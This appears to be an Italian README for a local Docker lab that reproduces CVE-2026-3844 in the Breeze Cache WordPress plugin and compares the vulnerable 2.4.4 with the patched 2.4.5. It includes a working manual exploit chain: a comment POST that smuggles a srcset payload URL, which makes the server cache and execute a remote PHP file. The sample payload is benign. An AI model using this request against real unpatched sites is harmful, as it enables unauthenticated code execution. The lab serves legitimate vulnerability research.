
Lab Docker solo locale per riprodurre e confrontare il comportamento della CVE-2026-3844 nel plugin WordPress Breeze Cache.
Questo repository dimostra il comportamento vulnerabile in Breeze Cache 2.4.4 e lo confronta con il comportamento corretto in Breeze Cache 2.4.5. Il lab utilizza due servizi WordPress isolati, uno vulnerabile e uno corretto, oltre a un server payload locale all'interno della rete Docker.
La prova di concetto è intenzionalmente a impatto minimo: non usa una webshell, non espone un parametro di comando, non avvia una reverse shell e non richiede la lettura di file dall'interno del container. La prova si basa sul comportamento HTTP osservabile dall'host.
La CVE-2026-3844 colpisce il plugin Breeze Cache per WordPress fino alla versione 2.4.4 inclusa. Il percorso di codice vulnerabile è legato alla funzionalità di caching locale dei Gravatar del plugin, in particolare al flusso di fetch_gravatar_from_remote().
Quando l'opzione Breeze Host Files Locally - Gravatars è abilitata, le versioni vulnerabili possono recuperare un file remoto controllato dall'attaccante e salvarlo in una directory cache pubblicamente accessibile via web. Se il file recuperato è PHP, il file può essere eseguito dal web server quando viene richiesto via HTTP.
Questo lab riproduce localmente questo comportamento:
vuln: WordPress + Breeze Cache 2.4.4patched: WordPress + Breeze Cache 2.4.5payload: server payload locale solo Dockersrcset controllataIl risultato atteso è:
http://127.0.0.1:8081 / Breeze 2.4.4 → la prova PHP viene memorizzata nella cache ed eseguitahttp://127.0.0.1:8082 / Breeze 2.4.5 → la prova PHP non viene memorizzata nella cache, letta né eseguita.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── scripts/
│ └── seed-wordpress.sh
├── payload/
│ └── manual-proof.php
│ └── proof-cve3844.php
├── poc/
│ └── poc.py
│ └── requirements.txt
├── .gitignore
├── README.md
Host machine
│
├── http://127.0.0.1:8081 -> vuln WordPress + Breeze 2.4.4
├── http://127.0.0.1:8082 -> patched WordPress + Breeze 2.4.5
└── http://127.0.0.1:9100 -> local payload server
Docker network
│
├── vuln -> WordPress vulnerable target
├── patched -> WordPress patched target
├── vuln_db -> MariaDB for vulnerable WordPress
├── patched_db -> MariaDB for patched WordPress
└── payload -> Python static HTTP server
I container WordPress recuperano il payload tramite l'URL della rete Docker:
http://payload:9100/<payload-file>.php
L'host verifica il risultato tramite normali richieste HTTP ai servizi WordPress.
2.4.42.4.5fetch_gravatar_from_remote()inc/class-breeze-cache-cronjobs.phpbreeze-store-gravatars-locally deve essere abilitataIl comportamento vulnerabile è raggiungibile solo quando la cache locale dei Gravatar è abilitata. Questa opzione è disabilitata per impostazione predefinita nelle installazioni tipiche, ma questo lab la abilita intenzionalmente per riprodurre il percorso di codice vulnerabile.
In Breeze Cache 2.4.4, il flusso di localizzazione dei Gravatar può estrarre un URL remoto dall'HTML relativo agli avatar e passare quell'URL a fetch_gravatar_from_remote().
La versione vulnerabile non applica una validazione sufficiente al file remoto:
.phpIl file risultante viene salvato in:
/wp-content/cache/breeze-extra/gravatars/
Quando un file PHP viene salvato lì e poi richiesto tramite Apache/PHP, il server lo esegue.
In Breeze Cache 2.4.5, il flusso corretto aggiunge una validazione che impedisce al payload di questo lab di essere memorizzato nella cache come PHP eseguibile. Nella riproduzione locale, lo stesso trigger funziona contro 2.4.4 ma non espone il marcatore di prova contro 2.4.5.
Questo lab mantiene intenzionalmente il server payload locale invece di usare un host payload pubblico.
download_url() di WordPress e l'API HTTP di WordPress rifiutano di default alcuni hostname Docker privati e porte non standard. Gli script exploit pubblici usano spesso URL HTTPS pubblici per il payload, che evitano questa restrizione. Questo lab non fa così.
Per mantenere la riproduzione completamente locale, lo script di seed installa un piccolo MU plugin helper solo locale che:
payload e payload.local80 e 9100Questo helper non modifica il codice sorgente di Breeze. Sia il servizio vulnerabile sia quello corretto usano versioni reali del plugin Breeze installate tramite WP-CLI.
L'helper esiste solo per rendere il lab Docker deterministico e solo locale.
Questo repository è destinato esclusivamente a ricerca di sicurezza locale e dimostrazioni per portfolio.
Vincoli di sicurezza:
localhost e servizi di rete Dockercmd=Il payload del PoC stampa informazioni benigne sull'ambiente runtime di PHP:
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<process id>
host=<container hostname>
Questo dimostra il contesto di esecuzione del codice senza avviare comandi di shell.
requestsInstalla la dipendenza Python:
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt
requirements.txt deve contenere:
requests
Compila e avvia il lab:
docker compose down -v --remove-orphans
docker compose up -d --build
Controlla lo stato dei servizi:
docker compose ps
Servizi attesi:
vuln healthy http://127.0.0.1:8081
patched healthy http://127.0.0.1:8082
payload running http://127.0.0.1:9100
vuln_db healthy
patched_db healthy
Controlla i log di seed:
docker compose logs --tail=120 vuln
docker compose logs --tail=120 patched
Righe di log attese:
[seed] WordPress ready at http://localhost:8081 with Breeze 2.4.4
[seed] WordPress ready at http://localhost:8082 with Breeze 2.4.5
Controlla l'installazione di WordPress:
docker compose exec vuln wp core is-installed --allow-root --path=/var/www/html
docker compose exec patched wp core is-installed --allow-root --path=/var/www/html
Controlla le versioni di Breeze:
docker compose exec vuln wp plugin get breeze --field=version --allow-root --path=/var/www/html
docker compose exec patched wp plugin get breeze --field=version --allow-root --path=/var/www/html
Atteso:
2.4.4
2.4.5
Controlla la precondizione vulnerabile:
docker compose exec vuln wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
docker compose exec patched wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
Atteso:
1
1
Verifica che WordPress possa recuperare il servizio payload locale:
docker compose exec vuln wp eval '
$r = download_url("http://payload:9100/proof-cve3844.php");
if (is_wp_error($r)) { var_dump($r->get_error_message()); exit; }
echo $r . PHP_EOL;
echo file_get_contents($r);
@unlink($r);
' --allow-root --path=/var/www/html
Se proof-cve3844.php non esiste ancora, crea un file temporaneo in payload/ oppure esegui il PoC una volta.
Esegui contro il servizio vulnerabile:
python3 poc/poc.py --base-url http://127.0.0.1:8081
Risultato atteso per la versione vulnerabile:
[VULNERABLE-BEHAVIOR] unique PHP proof marker was publicly readable
[+] PHP proof appears to have executed
Esempio di output della prova:
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<container hostname>
Esegui contro il servizio corretto:
python3 poc/poc.py --base-url http://127.0.0.1:8082
Risultato atteso per la versione corretta:
[PATCHED-BEHAVIOR] unique PHP proof marker was not publicly readable
Un reindirizzamento come 301 Moved Permanently non è considerato una prova. Il PoC richiede che il marcatore univoco appaia nel corpo della risposta HTTP.
Il PoC esegue il seguente flusso solo locale:
payload/.x srcset=http://payload:9100/<unique-payload>.php
/wp-content/cache/breeze-extra/gravatars/<unique-payload>.php
--keep-payload.Il PoC non legge file dall'interno del container target. L'evidenza viene raccolta via HTTP dall'host.
Crea un payload manuale:
cat > payload/manual-proof.php <<'PHP'
<?php
header('Content-Type: text/plain');
echo "CVE-2026-3844_MANUAL_PROOF\n";
echo "php_sapi=" . php_sapi_name() . "\n";
echo "user=" . get_current_user() . "\n";
echo "uid=" . (function_exists('posix_geteuid') ? posix_geteuid() : getmyuid()) . "\n";
echo "pid=" . getmypid() . "\n";
echo "host=" . gethostname() . "\n";
PHP
Conferma che il server payload serve il sorgente PHP come testo statico:
curl -i http://127.0.0.1:9100/manual-proof.php
Pubblica un commento sul servizio WordPress vulnerabile:
curl -i -sS \
-X POST 'http://127.0.0.1:8081/wp-comments-post.php' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'comment_post_ID=1' \
--data-urlencode 'comment_parent=0' \
--data-urlencode 'author=x srcset=http://payload:9100/manual-proof.php' \
--data-urlencode '[email protected]' \
--data-urlencode 'url=' \
--data-urlencode 'comment=manual CVE-2026-3844 proof' \
--data-urlencode 'submit=Post Comment'
Attiva l'elaborazione di Breeze renderizzando l'articolo tramite l'host URL del sito WordPress configurato:
curl -sS 'http://localhost:8081/?p=1' >/tmp/cve3844-vuln-render.html
grep -i 'manual-proof.php' /tmp/cve3844-vuln-render.html
Evidenza HTML attesa:
alt='x srcset=http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php Avatar'
Richiedi il file PHP nella cache:
curl -i 'http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php'
Prova attesa per la versione vulnerabile:
HTTP/1.1 200 OK
Content-Type: text/plain;charset=UTF-8
CVE-2026-3844_MANUAL_PROOF
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<container hostname>
Controlla i log del payload:
docker compose logs --tail=50 payload
Atteso:
GET /manual-proof.php HTTP/1.1" 200
| Target | Versione Breeze | Risultato atteso |
|---|---|---|
http://127.0.0.1:8081 | 2.4.4 | La prova PHP viene recuperata, memorizzata nella cache ed eseguita |
http://127.0.0.1:8082 | 2.4.5 | Il marcatore di prova PHP non viene esposto |
Ferma e rimuovi container, reti e volumi:
docker compose down -v --remove-orphans
Rimuovi i file payload generati, se necessario:
rm -f payload/proof-cve3844-*.php payload/manual-proof*.php
NVD — CVE-2026-3844:
https://nvd.nist.gov/vuln/detail/CVE-2026-3844
Patchstack Database — Plugin WordPress Breeze Cache <= 2.4.4 Upload Arbitrario di File Non Autenticato tramite fetch_gravatar_from_remote:
https://patchstack.com/database/vulnerability/wordpress-breeze-cache-plugin-2-4-4-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote-vulnerability
Wordfence Threat Intelligence — Breeze Cache <= 2.4.4 Upload Arbitrario di File Non Autenticato:
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/breeze/breeze-cache-244-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote
Blog Wordfence — Copertura dello sfruttamento attivo della vulnerabilità di Breeze Cache:
https://www.wordfence.com/blog/2026/05/attackers-actively-exploiting-critical-vulnerability-in-breeze-cache-plugin/
Pagina del plugin Breeze Cache:
https://wordpress.org/plugins/breeze/
Download dei plugin WordPress usati in questo lab:
WordPress Plugin Trac — Riferimento al sorgente di Breeze, class-breeze-cache-cronjobs.php:
https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.4/inc/class-breeze-cache-cronjobs.php
Questo progetto è destinato esclusivamente alla ricerca di sicurezza locale autorizzata. Non eseguire il PoC contro sistemi che non possiedi o per i quali non hai un esplicito permesso di test.
WordPress Plugin Trac — Riferimento al sorgente corretto di Breeze, class-breeze-cache-cronjobs.php:
https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.5/inc/class-breeze-cache-cronjobs.php